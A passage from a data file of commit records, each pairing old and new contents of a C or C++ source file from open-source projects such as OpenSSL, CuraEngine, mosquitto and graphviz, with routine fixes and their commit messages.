\"internal\/cryptlib.h\"\n#include \"eng_int.h\"\n\nvoid ENGINE_load_builtin_engines(void)\n{\n    \/* Some ENGINEs need this *\/\n    OPENSSL_cpuid_setup();\n\n    OPENSSL_init_crypto(OPENSSL_INIT_ENGINE_ALL_BUILTIN, NULL);\n}\n\n#if (defined(__OpenBSD__) || defined(__FreeBSD__) || defined(__DragonFly__)) && OPENSSL_API_COMPAT < 0x10100000L\nvoid ENGINE_setup_bsd_cryptodev(void)\n{\n}\n#endif\n","subject":"Convert our own check of OPENSSL_NO_DEPRECATED","message":"Convert our own check of OPENSSL_NO_DEPRECATED\n\n... to the check OPENSSL_API_COMPAT < 0x10100000L, to correspond with\nhow it's declared.\n\nReviewed-by: Matt Caswell <1fa2ef4755a9226cb9a0a4840bd89b158ac71391@openssl.org>\n(Merged from https:\/\/github.com\/openssl\/openssl\/pull\/6470)\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"a4bc57be10b8f84f94f628dae4f4afee5767e79a","old_file":"include\/t3f\/view.h","new_file":"include\/t3f\/view.h","old_contents":"#ifndef T3F_VIEW_H\n#define T3F_VIEW_H\n\n\/* structure holds information about a 3D viewport usually used to represent\n   one player's screen, split screen games will have multiple viewports *\/\ntypedef struct\n{\n\t\n\t\/* offset of viewport *\/\n\tfloat offset_x;\n\tfloat offset_y;\n\tfloat width;\n\tfloat height;\n\t\n\t\/* vanishing point *\/\n\tfloat vp_x;\n\tfloat vp_y;\n\n} T3F_VIEW;\n\nextern T3F_VIEW * t3f_default_view;\nextern T3F_VIEW * t3f_current_view;\n\nT3F_VIEW * t3f_create_view(float ox, float oy, float w, float h, float vpx, float vpy);\nvoid t3f_destroy_view(T3F_VIEW * vp);\nvoid t3f_store_state(T3F_VIEW * sp);\nvoid t3f_restore_state(T3F_VIEW * sp);\nvoid t3f_select_view(T3F_VIEW * sp);\nT3F_VIEW * t3f_get_current_view(void);\nbool t3f_project_coordinates(float vw, float vpx, float vpy, float * x, float * y, float z);\nfloat t3f_project_x(float x, float z);\nfloat t3f_project_y(float y, float z);\n\n#endif\n","new_contents":"#ifndef T3F_VIEW_H\n#define T3F_VIEW_H\n\n#include <allegro5\/allegro5.h>\n\n\/* structure holds information about a 3D viewport usually used to represent\n   one player's screen, split screen games will have multiple viewports *\/\ntypedef struct\n{\n\n\t\/* offset of viewport *\/\n\tfloat offset_x;\n\tfloat offset_y;\n\tfloat width;\n\tfloat height;\n\n\t\/* vanishing point *\/\n\tfloat vp_x;\n\tfloat vp_y;\n\n} T3F_VIEW;\n\nextern T3F_VIEW * t3f_default_view;\nextern T3F_VIEW * t3f_current_view;\n\nT3F_VIEW * t3f_create_view(float ox, float oy, float w, float h, float vpx, float vpy);\nvoid t3f_destroy_view(T3F_VIEW * vp);\nvoid t3f_store_state(T3F_VIEW * sp);\nvoid t3f_restore_state(T3F_VIEW * sp);\nvoid t3f_select_view(T3F_VIEW * sp);\nT3F_VIEW * t3f_get_current_view(void);\nbool t3f_project_coordinates(float vw, float vpx, float vpy, float * x, float * y, float z);\nfloat t3f_project_x(float x, float z);\nfloat t3f_project_y(float y, float z);\n\n#endif\n","subject":"Include Allegro header so we can use 'bool'.","message":"Include Allegro header so we can use 'bool'.\n","lang":"C","license":"bsd-3-clause","repos":"NewCreature\/T--Framework,NewCreature\/T--Framework,NewCreature\/T--Framework,NewCreature\/T--Framework,NewCreature\/T--Framework"}
{"commit":"5bf21b0759b13a6fe5ec1ab6d984eedcd8d96720","old_file":"src\/file\/keydb.h","new_file":"src\/file\/keydb.h","old_contents":"\n\/* encrypted keys *\/\n\nstatic const uint32_t internal_device_number = 0;\n\nstatic const uint8_t internal_dk_list[][21] = {\n  {\n  },\n};\n\nstatic const uint8_t internal_pk_list[][16] = {\n  {\n  },\n};\n\nstatic const uint8_t internal_hc_list[][112] = {\n  {\n  },\n};\n\n\/* customize this function to \"hide\" the keys in the binary *\/\n\nstatic void decrypt_key(uint8_t *out, const uint8_t *in, size_t size)\n{\n    memcpy(out, in, size);\n}\n","new_contents":"\n\/* encrypted keys *\/\n\nstatic const uint32_t internal_device_number = 0;\n\nstatic const uint8_t internal_dk_list[][21] = {\n  { 0 },\n};\n\nstatic const uint8_t internal_pk_list[][16] = {\n  { 0 },\n};\n\nstatic const uint8_t internal_hc_list[][112] = {\n  { 0 },\n};\n\n\/* customize this function to \"hide\" the keys in the binary *\/\n\nstatic void decrypt_key(uint8_t *out, const uint8_t *in, size_t size)\n{\n    memcpy(out, in, size);\n}\n","subject":"Fix MSVC error C2133 : unknown size of multi-dimensional static const arrays (despite supposed support of C99). Have not confirmed if this breaks anything yet.","message":"Fix MSVC error C2133 : unknown size of multi-dimensional static const arrays (despite supposed support of C99). Have not confirmed if this breaks anything yet.\n","lang":"C","license":"lgpl-2.1","repos":"mwgoldsmith\/aacs,mwgoldsmith\/aacs"}
{"commit":"921fc17e0d1df4aa29f1176fe7c1240019f286f8","old_file":"tests\/arcus\/MockSocket.h","new_file":"tests\/arcus\/MockSocket.h","old_contents":"\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef MOCKSOCKET_H\n#define MOCKSOCKET_H\n\n#include <Arcus\/Socket.h> \/\/Inheriting from this to be able to swap this socket in the tested class.\n#include <deque> \/\/History of sent and received messages.\n\nnamespace cura\n{\n\n\/*\n * \\brief Mocks a socket connection from libArcus such that we can test with it\n * without creating an actual connection.\n *\/\nclass MockSocket : public Arcus::Socket\n{\npublic:\n    MockSocket();\n    \/\/virtual ~MockSocket();\n\n    virtual void connect(const std::string& address, int port);\n    virtual void listen(const std::string& address, int port);\n    virtual void close();\n    virtual void reset();\n\n    virtual void sendMessage(Arcus::MessagePtr message);\n    virtual Arcus::MessagePtr takeNextMessage();\n    \/\/virtual Arcus::MessagePtr createMessage(const std::string& type_name);\n\n    void pushMessageToReceivedQueue(Arcus::MessagePtr message);\n    Arcus::MessagePtr popMessageFromSendQueue();\n    \/\/ void setName(const std::string& new_name);\n    \/\/ void printMessages();\n\n    std::deque<Arcus::MessagePtr> sent_messages;\n    std::deque<Arcus::MessagePtr> received_messages;\n};\n\n} \/\/namespace cura\n\n#endif \/\/MOCKSOCKET_H","new_contents":"\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef MOCKSOCKET_H\n#define MOCKSOCKET_H\n\n#include <Arcus\/Socket.h> \/\/Inheriting from this to be able to swap this socket in the tested class.\n#include <deque> \/\/History of sent and received messages.\n\nnamespace cura\n{\n\n\/*\n * \\brief Mocks a socket connection from libArcus such that we can test with it\n * without creating an actual connection.\n *\/\nclass MockSocket : public Arcus::Socket\n{\npublic:\n    MockSocket();\n\n    \/\/These functions are overridden to be no-op.\n    void connect(const std::string& address, int port) override;\n    void listen(const std::string& address, int port) override;\n    void close() override;\n    void reset() override;\n\n    \/\/Catch these functions so that we can see whether they are called.\n    void sendMessage(Arcus::MessagePtr message) override;\n    Arcus::MessagePtr takeNextMessage() override;\n\n    \/\/Helpers to store the sent and received messages.\n    void pushMessageToReceivedQueue(Arcus::MessagePtr message);\n    Arcus::MessagePtr popMessageFromSendQueue();\n    std::deque<Arcus::MessagePtr> sent_messages;\n    std::deque<Arcus::MessagePtr> received_messages;\n};\n\n} \/\/namespace cura\n\n#endif \/\/MOCKSOCKET_H","subject":"Mark functions as override if they override","message":"Mark functions as override if they override\n\nSo that if for some reason they don't override anything, we get a compiler error.\nThis bit me in the arse, anyway.\n\nContributes to issue CURA-4410.\n","lang":"C","license":"agpl-3.0","repos":"Ultimaker\/CuraEngine,Ultimaker\/CuraEngine"}
{"commit":"f76d811c7d49ba1d5aa2a3fd01df6c3d35d97cdb","old_file":"src\/skadns\/skadns_end.c","new_file":"src\/skadns\/skadns_end.c","old_contents":"\/* ISC license. *\/\n\n#include <skalibs\/alloc.h>\n#include <skalibs\/genalloc.h>\n#include <skalibs\/gensetdyn.h>\n#include <skalibs\/skaclient.h>\n#include <s6-dns\/skadns.h>\n\nstatic int skadnsanswer_free (char *p, void *stuff)\n{\n  register skadnsanswer_t *q = (skadnsanswer_t_ref)p ;\n  alloc_free(&q->data) ;\n  (void)stuff ;\n  return 1 ;\n}\n\nvoid skadns_end (skadns_t *a)\n{\n  skaclient_end(&a->connection) ;\n  genalloc_free(uint16, &a->list) ;\n  gensetdyn_iter(&a->q, &skadnsanswer_free, 0) ;\n  gensetdyn_free(&a->q) ;\n  *a = skadns_zero ;\n}\n","new_contents":"\/* ISC license. *\/\n\n#include <skalibs\/alloc.h>\n#include <skalibs\/genalloc.h>\n#include <skalibs\/gensetdyn.h>\n#include <skalibs\/skaclient.h>\n#include <s6-dns\/skadns.h>\n\nstatic int skadnsanswer_free (char *p, void *stuff)\n{\n  register skadnsanswer_t *q = (skadnsanswer_t_ref)p ;\n  alloc_free(&q->data) ;\n  (void)stuff ;\n  return 1 ;\n}\n\nvoid skadns_end (skadns_t *a)\n{\n  skaclient_end(&a->connection) ;\n  genalloc_free(uint16, &a->list) ;\n  (void)gensetdyn_iter(&a->q, &skadnsanswer_free, 0) ;\n  gensetdyn_free(&a->q) ;\n  *a = skadns_zero ;\n}\n","subject":"Adjust to gensetdyn_iter change in skalibs","message":" Adjust to gensetdyn_iter change in skalibs\n","lang":"C","license":"isc","repos":"skarnet\/s6-dns,skarnet\/s6-dns"}
{"commit":"f333a38b65f9d357ab6c2fc73fd014f8e266657f","old_file":"cpp\/EXGL.h","new_file":"cpp\/EXGL.h","old_contents":"#ifndef __EXGL_H__\n#define __EXGL_H__\n\n\n#include <OpenGLES\/ES2\/gl.h>\n#include <JavaScriptCore\/JSBase.h>\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ Identifies an EXGL context. No EXGL context has the id 0, so that can be\n\/\/ used as a 'null' value.\ntypedef unsigned int EXGLContextId;\n\n\/\/ [JS thread] Create an EXGL context and return its id number. Saves the\n\/\/ JavaScript interface object (has a WebGLRenderingContext-style API) at\n\/\/ `global.__EXGLContexts[id]` in JavaScript.\nEXGLContextId EXGLContextCreate(JSGlobalContextRef jsCtx);\n\n\/\/ [Any thread] Release the resources for an EXGL context. The same id is never\n\/\/ reused.\nvoid EXGLContextDestroy(EXGLContextId exglCtxId);\n\n\/\/ [GL thread] Perform one frame's worth of queued up GL work\nvoid EXGLContextFlush(EXGLContextId exglCtxId);\n\n\/\/ [GL thread] Set the default framebuffer (used when binding 0). Allows using\n\/\/ platform-specific extensions on the default framebuffer, such as MSAA.\nvoid EXGLContextSetDefaultFramebuffer(EXGLContextId exglCtxId, GLint framebuffer);\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n","new_contents":"#ifndef __EXGL_H__\n#define __EXGL_H__\n\n\n#ifdef __ANDROID__\n#include <GLES2\/gl2.h>\n#endif\n#ifdef __APPLE__\n#include <OpenGLES\/ES2\/gl.h>\n#endif\n\n#include <JavaScriptCore\/JSBase.h>\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ Identifies an EXGL context. No EXGL context has the id 0, so that can be\n\/\/ used as a 'null' value.\ntypedef unsigned int EXGLContextId;\n\n\/\/ [JS thread] Create an EXGL context and return its id number. Saves the\n\/\/ JavaScript interface object (has a WebGLRenderingContext-style API) at\n\/\/ `global.__EXGLContexts[id]` in JavaScript.\nEXGLContextId EXGLContextCreate(JSGlobalContextRef jsCtx);\n\n\/\/ [Any thread] Release the resources for an EXGL context. The same id is never\n\/\/ reused.\nvoid EXGLContextDestroy(EXGLContextId exglCtxId);\n\n\/\/ [GL thread] Perform one frame's worth of queued up GL work\nvoid EXGLContextFlush(EXGLContextId exglCtxId);\n\n\/\/ [GL thread] Set the default framebuffer (used when binding 0). Allows using\n\/\/ platform-specific extensions on the default framebuffer, such as MSAA.\nvoid EXGLContextSetDefaultFramebuffer(EXGLContextId exglCtxId, GLint framebuffer);\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n","subject":"Fix Android vs. iOS GL header include","message":"Fix Android vs. iOS GL header include\n\nfbshipit-source-id: 75ec20a\n","lang":"C","license":"bsd-3-clause","repos":"jolicloud\/exponent,exponentjs\/exponent,exponent\/exponent,exponentjs\/exponent,exponent\/exponent,jolicloud\/exponent,exponent\/exponent,jolicloud\/exponent,exponentjs\/exponent,jolicloud\/exponent,exponent\/exponent,jolicloud\/exponent,exponent\/exponent,exponent\/exponent,exponent\/exponent,exponentjs\/exponent,exponentjs\/exponent,jolicloud\/exponent,jolicloud\/exponent,exponent\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,jolicloud\/exponent,exponent\/exponent,jolicloud\/exponent,exponentjs\/exponent"}
{"commit":"927cf450d4ebb3df503d79112b0a90d4b19de1ea","old_file":"src\/modules\/conf_randr\/e_mod_main.h","new_file":"src\/modules\/conf_randr\/e_mod_main.h","old_contents":"#ifndef E_MOD_MAIN_H\n# define E_MOD_MAIN_H\n\n# ifndef ECORE_X_RANDR_1_2\n#  define ECORE_X_RANDR_1_2 ((1 << 16) | 2)\n# endif\n\n# ifndef ECORE_X_RANDR_1_3\n#  define ECORE_X_RANDR_1_3 ((1 << 16) | 3)\n# endif\n\n# ifndef E_RANDR_12\n#  define E_RANDR_12 (e_randr_screen_info.rrvd_info.randr_info_12)\n# endif\n\nEAPI extern E_Module_Api e_modapi;\n\nEAPI void *e_modapi_init(E_Module *m);\nEAPI int e_modapi_shutdown(E_Module *m);\nEAPI int e_modapi_save(E_Module *m);\n\nextern const char *mod_dir;\n\n\/**\n * @addtogroup Optional_Conf\n * @{\n *\n * @defgroup Module_Conf_RandR RandR (Screen Resize, Rotate and Mirror)\n *\n * Configures size, rotation and mirroring of screen. Uses the X11\n * RandR protocol (does not work with NVidia proprietary drivers).\n *\n * @}\n *\/\n\n#endif\n","new_contents":"#ifndef E_MOD_MAIN_H\n# define E_MOD_MAIN_H\n\n# define LOGFNS 1\n\n# ifdef LOGFNS\n#  include <stdio.h>\n#  define LOGFN(fl, ln, fn) printf(\"-CONF-RANDR: %25s: %5i - %s\\n\", fl, ln, fn);\n# else\n#  define LOGFN(fl, ln, fn)\n# endif\n\n\n# ifndef ECORE_X_RANDR_1_2\n#  define ECORE_X_RANDR_1_2 ((1 << 16) | 2)\n# endif\n\n# ifndef ECORE_X_RANDR_1_3\n#  define ECORE_X_RANDR_1_3 ((1 << 16) | 3)\n# endif\n\n# ifndef E_RANDR_12\n#  define E_RANDR_12 (e_randr_screen_info.rrvd_info.randr_info_12)\n# endif\n\nEAPI extern E_Module_Api e_modapi;\n\nEAPI void *e_modapi_init(E_Module *m);\nEAPI int e_modapi_shutdown(E_Module *m);\nEAPI int e_modapi_save(E_Module *m);\n\nextern const char *mod_dir;\n\n\/**\n * @addtogroup Optional_Conf\n * @{\n *\n * @defgroup Module_Conf_RandR RandR (Screen Resize, Rotate and Mirror)\n *\n * Configures size, rotation and mirroring of screen. Uses the X11\n * RandR protocol (does not work with NVidia proprietary drivers).\n *\n * @}\n *\/\n\n#endif\n","subject":"Add LOGFN macro to header.","message":"Add LOGFN macro to header.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84140\n","lang":"C","license":"bsd-2-clause","repos":"tasn\/enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e"}
{"commit":"396890929c29d0c7a9b1474f9e0fa6683903ed1a","old_file":"lib\/ReaderWriter\/ELF\/AMDGPU\/AMDGPURelocationHandler.h","new_file":"lib\/ReaderWriter\/ELF\/AMDGPU\/AMDGPURelocationHandler.h","old_contents":"\/\/===- lld\/ReaderWriter\/ELF\/AMDGPU\/AMDGPURelocationHandler.h --------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLD_READER_WRITER_ELF_AMDGPU_AMDGPU_RELOCATION_HANDLER_H\n#define LLD_READER_WRITER_ELF_AMDGPU_AMDGPU_RELOCATION_HANDLER_H\n\n#include \"lld\/ReaderWriter\/ELFLinkingContext.h\"\n#include <system_error>\n\nnamespace lld {\nnamespace elf {\nclass AMDGPUTargetHandler;\nclass AMDGPUTargetLayout;\n\nclass AMDGPUTargetRelocationHandler final : public TargetRelocationHandler {\npublic:\n  AMDGPUTargetRelocationHandler(AMDGPUTargetLayout &layout)\n      : _targetLayout(layout) {}\n\n  std::error_code applyRelocation(ELFWriter &, llvm::FileOutputBuffer &,\n                                  const AtomLayout &,\n                                  const Reference &) const override;\n\nprivate:\n  AMDGPUTargetLayout &_targetLayout;\n};\n} \/\/ elf\n} \/\/ lld\n#endif\n","new_contents":"\/\/===- lld\/ReaderWriter\/ELF\/AMDGPU\/AMDGPURelocationHandler.h --------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLD_READER_WRITER_ELF_AMDGPU_AMDGPU_RELOCATION_HANDLER_H\n#define LLD_READER_WRITER_ELF_AMDGPU_AMDGPU_RELOCATION_HANDLER_H\n\n#include \"lld\/ReaderWriter\/ELFLinkingContext.h\"\n#include <system_error>\n\nnamespace lld {\nnamespace elf {\nclass AMDGPUTargetHandler;\nclass AMDGPUTargetLayout;\n\nclass AMDGPUTargetRelocationHandler final : public TargetRelocationHandler {\npublic:\n  AMDGPUTargetRelocationHandler(AMDGPUTargetLayout &layout) { }\n\n  std::error_code applyRelocation(ELFWriter &, llvm::FileOutputBuffer &,\n                                  const AtomLayout &,\n                                  const Reference &) const override;\n\n};\n} \/\/ elf\n} \/\/ lld\n#endif\n","subject":"Remove another unused private member variable","message":"ELF\/AMDGPU: Remove another unused private member variable\n\ngit-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@246164 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lld,llvm-mirror\/lld"}
{"commit":"1e5799c3a633161f89ced5d3d11ee6354ecf7f88","old_file":"include\/auth.h","new_file":"include\/auth.h","old_contents":"#ifndef CPR_AUTH_H\n#define CPR_AUTH_H\n\n#include <string>\n\nnamespace cpr {\n\n    class Authentication {\n      public:\n        Authentication(const std::string& username, const std::string& password) :\n            username_{username}, password_{password}, auth_string_{username + \":\" + password} {}\n\n        const char* GetAuthString() const;\n\n      private:\n        std::string username_;\n        std::string password_;\n        std::string auth_string_;\n    };\n\n}\n\n#endif","new_contents":"#ifndef CPR_AUTH_H\n#define CPR_AUTH_H\n\n#include <string>\n\nnamespace cpr {\n\n    class Authentication {\n      public:\n        Authentication(const std::string& username, const std::string& password) :\n            username_{username}, password_{password}, auth_string_{username_ + \":\" + password_} {}\n\n        const char* GetAuthString() const;\n\n      private:\n        std::string username_;\n        std::string password_;\n        std::string auth_string_;\n    };\n\n}\n\n#endif","subject":"Use the member strings since their types on concrete","message":"Use the member strings since their types on concrete\n","lang":"C","license":"mit","repos":"msuvajac\/cpr,whoshuu\/cpr,SuperV1234\/cpr,msuvajac\/cpr,whoshuu\/cpr,skystrife\/cpr,msuvajac\/cpr,skystrife\/cpr,skystrife\/cpr,SuperV1234\/cpr,SuperV1234\/cpr,whoshuu\/cpr"}
{"commit":"56841922d1e0ee90cdd2bdf10c8fead846560897","old_file":"src\/RCoRoutineRunner.h","new_file":"src\/RCoRoutineRunner.h","old_contents":"#ifndef __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n#define __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n\n#include <pt.h>\n\nclass RCoRoutineRunner\n{\npublic:\n  RCoRoutineRunner();\n  virtual\n  ~RCoRoutineRunner();\n\n  virtual char\n  run();\n\npublic:\n  struct pt mPt;\n};\n\n#endif \/\/ __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n","new_contents":"#ifndef __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n#define __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n\n#include <pt\/pt.h>\n\nclass RCoRoutineRunner\n{\npublic:\n  RCoRoutineRunner();\n  virtual\n  ~RCoRoutineRunner();\n\n  virtual char\n  run();\n\npublic:\n  struct pt mPt;\n};\n\n#endif \/\/ __INCLUDED_ECE554E80AF211E7AA6EA088B4D1658C\n","subject":"Use protothread library which included in RabirdToolkitThirdParties","message":"Use protothread library which included in RabirdToolkitThirdParties\n","lang":"C","license":"mit","repos":"starofrainnight\/ArduinoRabirdToolkit,starofrainnight\/ArduinoRabirdTookit,starofrainnight\/ArduinoRabirdToolkit"}
{"commit":"f0da1d7331333266c7f45eb326ac595d0a831d01","old_file":"10V\/Stefan_Iliev_25\/Homework_2\/Homework2_v2.c","new_file":"10V\/Stefan_Iliev_25\/Homework_2\/Homework2_v2.c","old_contents":"#include<stdio.h>\n\n\nint main() \n{\nint printed_numb=0;\nint x;\nint prev_number=2;\nint number=2;\nint flag; \n  while(printed_numb<10)\n  { \n\tflag=0;\n\t\n\tfor(x=2;x<=number\/2;x++)\n\t{\n\t  if(number%x==0)\n \t   {\n\t\tflag=1;\n\t\tbreak;\n\t   }\n\n\t}\n\tif(flag=0)\n\t{\n\t\tif(number==prev_number+2)\n\t\t{\n\t\t printf(\"%d - \",prev_number);\n\t\t printf(\"%d\\n\",number);\n\t\t printed_numb++;\n\t\t}\n\t   prev_number=number;\t\n        }\n      number++;\n\n  }\n\nreturn 0;\n}\n","new_contents":"#include<stdio.h>\n\n\nint main() \n{\nint printed_numb=0;\nint x;\nint prev_number=2;\nint number=2;\nint flag; \n  while(printed_numb<10)\n  { \n\tflag=0;\n\t\n\tfor(x=2;x<=number\/2;x++)\n\t{\n\t  if(number%x==0)\n \t   {\n\t\tflag=1;\n\t\tbreak;\n\t   }\n\n\t}\n\tif(flag==0)\n\t{\n\t\tif(number==prev_number+2)\n\t\t{\n\t\t printf(\"%d - \",prev_number);\n\t\t printf(\"%d\\n\",number);\n\t\t printed_numb++;\n\t\t}\n\t   prev_number=number;\t\n        }\n      number++;\n\n  }\n\nreturn 0;\n}\n","subject":"Repair on Twin Primes.Homework 2 completed.Stefan Iliev 26 10V","message":"Repair on Twin Primes.Homework 2 completed.Stefan Iliev 26 10V\n","lang":"C","license":"mit","repos":"Dimitur-Matev\/elsys-c-programming-2013-2014"}
{"commit":"88972c402537a3d3106ea010f46571efdfc23daa","old_file":"src\/test\/test_iic.c","new_file":"src\/test\/test_iic.c","old_contents":"","new_contents":"\/*  Copyright (c) 2013, laborer (laborer@126.com)\n *  Licensed under the BSD 2-Clause License.\n *\/\n\n\n#include \"common.h\"\n#include \"iic.h\"\n#include \"uart.h\"\n\n\nvoid welcome(void)\n{\n    uart_baudrate();\n    uart_init();\n    uart_putstr(\"c51drv\\n\");\n}\n\nvoid main(void) {\n    welcome();\n\n    while (1);\n}\n","subject":"Add an empty iic test case","message":"Add an empty iic test case\n","lang":"C","license":"bsd-2-clause","repos":"laborer\/c51drv,laborer\/c51drv"}
{"commit":"91e4896559b1f087e56007b77ed630e48301eaf0","old_file":"cmd\/smyrna\/gui\/glmenu.h","new_file":"cmd\/smyrna\/gui\/glmenu.h","old_contents":"#ifndef GLMENU_H\n#define GLMENU_H\n\n#include \"viewport.h\"\nGtkWidget* create_popup_menu (GtkWidget* drawing_area);\n#endif\n","new_contents":"\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef GLMENU_H\n#define GLMENU_H\n\n#include \"viewport.h\"\nGtkWidget *create_popup_menu(GtkWidget * drawing_area);\n#endif\n","subject":"Clean up smyrna files: remove unnecessary globals modify libraries not to rely on code in cmd\/smyrna remove static declarations from .h files remove unnecessary libraries mark unused code and clean up warnings","message":"Clean up smyrna files:\n  remove unnecessary globals\n  modify libraries not to rely on code in cmd\/smyrna\n  remove static declarations from .h files\n  remove unnecessary libraries\n  mark unused code and clean up warnings\n","lang":"C","license":"epl-1.0","repos":"tkelman\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,tkelman\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,ellson\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,ellson\/graphviz,kbrock\/graphviz,tkelman\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,ellson\/graphviz,jho1965us\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,ellson\/graphviz"}
{"commit":"228e64096902f6bcd14aca8be5333fc69cbc80bc","old_file":"server\/database.c","new_file":"server\/database.c","old_contents":"#include <sqlite3.h>\n#include <stdio.h>\n\nstatic sqlite3 *db;\n\nint _mqtt_db_create_tables(void);\n\nint mqtt_db_open(const char *filename)\n{\n\tif(sqlite3_open(filename, &db) != SQLITE_OK){\n\t\tfprintf(stderr, \"Error: %s\\n\", sqlite3_errmsg(db));\n\t\treturn 1;\n\t}\n\n\treturn _mqtt_db_create_tables();\n}\n\nint mqtt_db_close(void)\n{\n\tsqlite3_close(db);\n\tdb = NULL;\n\n\treturn 0;\n}\n\nint _mqtt_db_create_tables(void)\n{\n\tint rc;\n\tchar *errmsg = NULL;\n\n\trc = sqlite3_exec(db,\n\t\t\"CREATE TABLE IF NOT EXISTS clients(\"\n\t\t\"id TEXT, \"\n\t\t\"will INTEGER, will_retain INTEGER, will_qos \"\n\t\t\"will_topic TEXT, will_message TEXT)\",\n\t\tNULL, NULL, &errmsg);\n\n\tif(errmsg) sqlite3_free(errmsg);\n\n\tif(rc == SQLITE_OK){\n\t\treturn 0;\n\t}else{\n\t\treturn 1;\n\t}\n}\n\n\n","new_contents":"#include <sqlite3.h>\n#include <stdio.h>\n\nstatic sqlite3 *db;\n\nint _mqtt_db_create_tables(void);\n\nint mqtt_db_open(const char *filename)\n{\n\tif(sqlite3_open(filename, &db) != SQLITE_OK){\n\t\tfprintf(stderr, \"Error: %s\\n\", sqlite3_errmsg(db));\n\t\treturn 1;\n\t}\n\n\treturn _mqtt_db_create_tables();\n}\n\nint mqtt_db_close(void)\n{\n\tsqlite3_close(db);\n\tdb = NULL;\n\n\treturn 0;\n}\n\nint _mqtt_db_create_tables(void)\n{\n\tint rc = 0;\n\tchar *errmsg = NULL;\n\n\tif(sqlite3_exec(db,\n\t\t\"CREATE TABLE IF NOT EXISTS clients(\"\n\t\t\"id TEXT, \"\n\t\t\"will INTEGER, will_retain INTEGER, will_qos \"\n\t\t\"will_topic TEXT, will_message TEXT)\",\n\t\tNULL, NULL, &errmsg) != SQLITE_OK){\n\n\t\trc = 1;\n\t}\n\n\tif(errmsg) sqlite3_free(errmsg);\n\n\tif(sqlite3_exec(db,\n\t\t\"CREATE TABLE IF NOT EXISTS subs(\"\n\t\t\"client_id TEXT, sub TEXT, qos INTEGER)\",\n\t\tNULL, NULL, &errmsg) != SQLITE_OK){\n\n\t\trc = 1;\n\t}\n\n\tif(errmsg) sqlite3_free(errmsg);\n\n\treturn rc;\n}\n\n\n","subject":"Create db table for subscriptions.","message":"Create db table for subscriptions.\n","lang":"C","license":"bsd-3-clause","repos":"zlargon\/mosquitto,zlargon\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,tempbottle\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto"}
